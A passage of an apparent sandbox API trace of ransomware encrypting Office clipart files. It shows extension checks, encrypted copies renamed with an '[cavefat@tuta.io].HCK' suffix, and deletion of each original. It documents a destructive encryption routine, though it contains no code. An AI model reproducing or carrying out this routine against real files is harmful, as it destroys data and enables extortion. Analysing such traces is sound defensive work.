Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.019] lstrlenW (lpString=".jpg") returned 4 [0232.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.019] lstrlenW (lpString=".doc") returned 4 [0232.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString=".docx") returned 5 [0232.019] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0232.019] lstrlenW (lpString=".pdf") returned 4 [0232.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString=".xls") returned 4 [0232.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.019] lstrlenW (lpString=".xlsx") returned 5 [0232.019] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0232.019] lstrlenW (lpString=".ppt") returned 4 [0232.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.019] lstrlenW (lpString=".zip") returned 4 [0232.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.019] lstrlenW (lpString=".rar") returned 4 [0232.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString=".bz2") returned 4 [0232.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString=".7z") returned 3 [0232.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.019] lstrlenW (lpString=".dbf") returned 4 [0232.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.019] lstrlenW (lpString=".1cd") returned 4 [0232.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0232.019] lstrlenW (lpString=".jpg") returned 4 [0232.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.020] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.020] lstrlenW (lpString="J0105412.WMF") returned 12 [0232.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0232.021] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=9400) returned 1 [0232.021] CloseHandle (hObject=0x4cc) returned 1 [0232.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0232.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0232.021] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.021] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0232.022] GetLastError () returned 0x0 [0232.022] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x24b8, lpOverlapped=0x0) returned 1 [0232.023] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x24c0, lpOverlapped=0x0) returned 1 [0232.024] ReadFile (in: hFile=0x4cc, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.024] WriteFile (in: hFile=0x4bc, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.024] SetEndOfFile (hFile=0x4bc) returned 1 [0232.024] CloseHandle (hObject=0x4bc) returned 1 [0232.024] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.024] SetEndOfFile (hFile=0x4cc) returned 1 [0232.026] CloseHandle (hObject=0x4cc) returned 1 [0232.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0232.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.027] lstrlenW (lpString=".doc") returned 4 [0232.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.027] lstrlenW (lpString=".docx") returned 5 [0232.027] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0232.027] lstrlenW (lpString=".pdf") returned 4 [0232.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.027] lstrlenW (lpString=".xls") returned 4 [0232.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.027] lstrlenW (lpString=".xlsx") returned 5 [0232.027] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0232.027] lstrlenW (lpString=".ppt") returned 4 [0232.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.027] lstrlenW (lpString=".zip") returned 4 [0232.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.027] lstrlenW (lpString=".rar") returned 4 [0232.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.027] lstrlenW (lpString=".bz2") returned 4 [0232.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString=".7z") returned 3 [0232.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.028] lstrlenW (lpString=".dbf") returned 4 [0232.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.028] lstrlenW (lpString=".1cd") returned 4 [0232.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.028] lstrlenW (lpString=".jpg") returned 4 [0232.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.028] lstrlenW (lpString=".doc") returned 4 [0232.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString=".docx") returned 5 [0232.028] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0232.028] lstrlenW (lpString=".pdf") returned 4 [0232.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString=".xls") returned 4 [0232.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0232.028] lstrlenW (lpString=".xlsx") returned 5 [0232.028] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0232.028] lstrlenW (lpString=".ppt") returned 4 [0232.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.028] lstrlenW (lpString=".zip") returned 4 [0232.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0232.028] lstrlenW (lpString=".rar") returned 4 [0232.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString=".bz2") returned 4 [0232.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString=".7z") returned 3 [0232.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0232.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.028] lstrlenW (lpString=".dbf") returned 4 [0232.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.028] lstrlenW (lpString=".1cd") returned 4 [0232.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0232.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0232.028] lstrlenW (lpString=".jpg") returned 4 [0232.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0232.028] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0232.028] lstrlenW (lpString="J0105414.WMF") returned 12 [0232.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0232.238] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=6244) returned 1 [0232.238] CloseHandle (hObject=0x4c8) returned 1 [0232.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 0x220 [0232.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0232.239] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.239] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0232.240] GetLastError () returned 0x0 [0232.240] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1864, lpOverlapped=0x0) returned 1 [0232.241] WriteFile (in: hFile=0x550, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1870, lpOverlapped=0x0) returned 1 [0232.242] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.242] WriteFile (in: hFile=0x550, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0232.242] SetEndOfFile (hFile=0x550) returned 1 [0232.242] CloseHandle (hObject=0x550) returned 1 [0232.242] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.242] SetEndOfFile (hFile=0x4c8) returned 1 [0232.468] CloseHandle (hObject=0x4c8) returned 1 [0232.468] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0232.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0233.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.017] lstrlenW (lpString=".doc") returned 4 [0233.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.017] lstrlenW (lpString=".docx") returned 5 [0233.017] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.017] lstrlenW (lpString=".pdf") returned 4 [0233.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString=".xls") returned 4 [0233.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.018] lstrlenW (lpString=".xlsx") returned 5 [0233.018] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.018] lstrlenW (lpString=".ppt") returned 4 [0233.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.018] lstrlenW (lpString=".zip") returned 4 [0233.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.018] lstrlenW (lpString=".rar") returned 4 [0233.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString=".bz2") returned 4 [0233.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString=".7z") returned 3 [0233.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.018] lstrlenW (lpString=".dbf") returned 4 [0233.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.018] lstrlenW (lpString=".1cd") returned 4 [0233.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.018] lstrlenW (lpString=".jpg") returned 4 [0233.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.018] lstrlenW (lpString=".doc") returned 4 [0233.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString=".docx") returned 5 [0233.018] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0233.018] lstrlenW (lpString=".pdf") returned 4 [0233.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString=".xls") returned 4 [0233.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.018] lstrlenW (lpString=".xlsx") returned 5 [0233.018] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0233.018] lstrlenW (lpString=".ppt") returned 4 [0233.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.018] lstrlenW (lpString=".zip") returned 4 [0233.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.018] lstrlenW (lpString=".rar") returned 4 [0233.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString=".bz2") returned 4 [0233.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString=".7z") returned 3 [0233.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.018] lstrlenW (lpString=".dbf") returned 4 [0233.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.019] lstrlenW (lpString=".1cd") returned 4 [0233.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0233.019] lstrlenW (lpString=".jpg") returned 4 [0233.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.019] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.019] lstrlenW (lpString="J0107026.WMF") returned 12 [0233.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0233.066] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=7632) returned 1 [0233.066] CloseHandle (hObject=0x4b0) returned 1 [0233.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 0x220 [0233.066] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.354] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.354] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0233.449] GetLastError () returned 0x0 [0233.449] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1dd0, lpOverlapped=0x0) returned 1 [0233.450] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1de0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1de0, lpOverlapped=0x0) returned 1 [0233.451] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.451] WriteFile (in: hFile=0x548, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0233.451] SetEndOfFile (hFile=0x548) returned 1 [0233.451] CloseHandle (hObject=0x548) returned 1 [0233.451] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.451] SetEndOfFile (hFile=0x4c8) returned 1 [0233.453] CloseHandle (hObject=0x4c8) returned 1 [0233.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0233.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf")) returned 1 [0233.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.455] lstrlenW (lpString=".doc") returned 4 [0233.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.455] lstrlenW (lpString=".docx") returned 5 [0233.455] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0233.455] lstrlenW (lpString=".pdf") returned 4 [0233.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.455] lstrlenW (lpString=".xls") returned 4 [0233.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.455] lstrlenW (lpString=".xlsx") returned 5 [0233.455] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0233.455] lstrlenW (lpString=".ppt") returned 4 [0233.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.455] lstrlenW (lpString=".zip") returned 4 [0233.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.455] lstrlenW (lpString=".rar") returned 4 [0233.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.455] lstrlenW (lpString=".bz2") returned 4 [0233.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString=".7z") returned 3 [0233.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.456] lstrlenW (lpString=".dbf") returned 4 [0233.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.456] lstrlenW (lpString=".1cd") returned 4 [0233.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.456] lstrlenW (lpString=".jpg") returned 4 [0233.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF") returned 68 [0233.456] lstrlenW (lpString=".doc") returned 4 [0233.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.456] 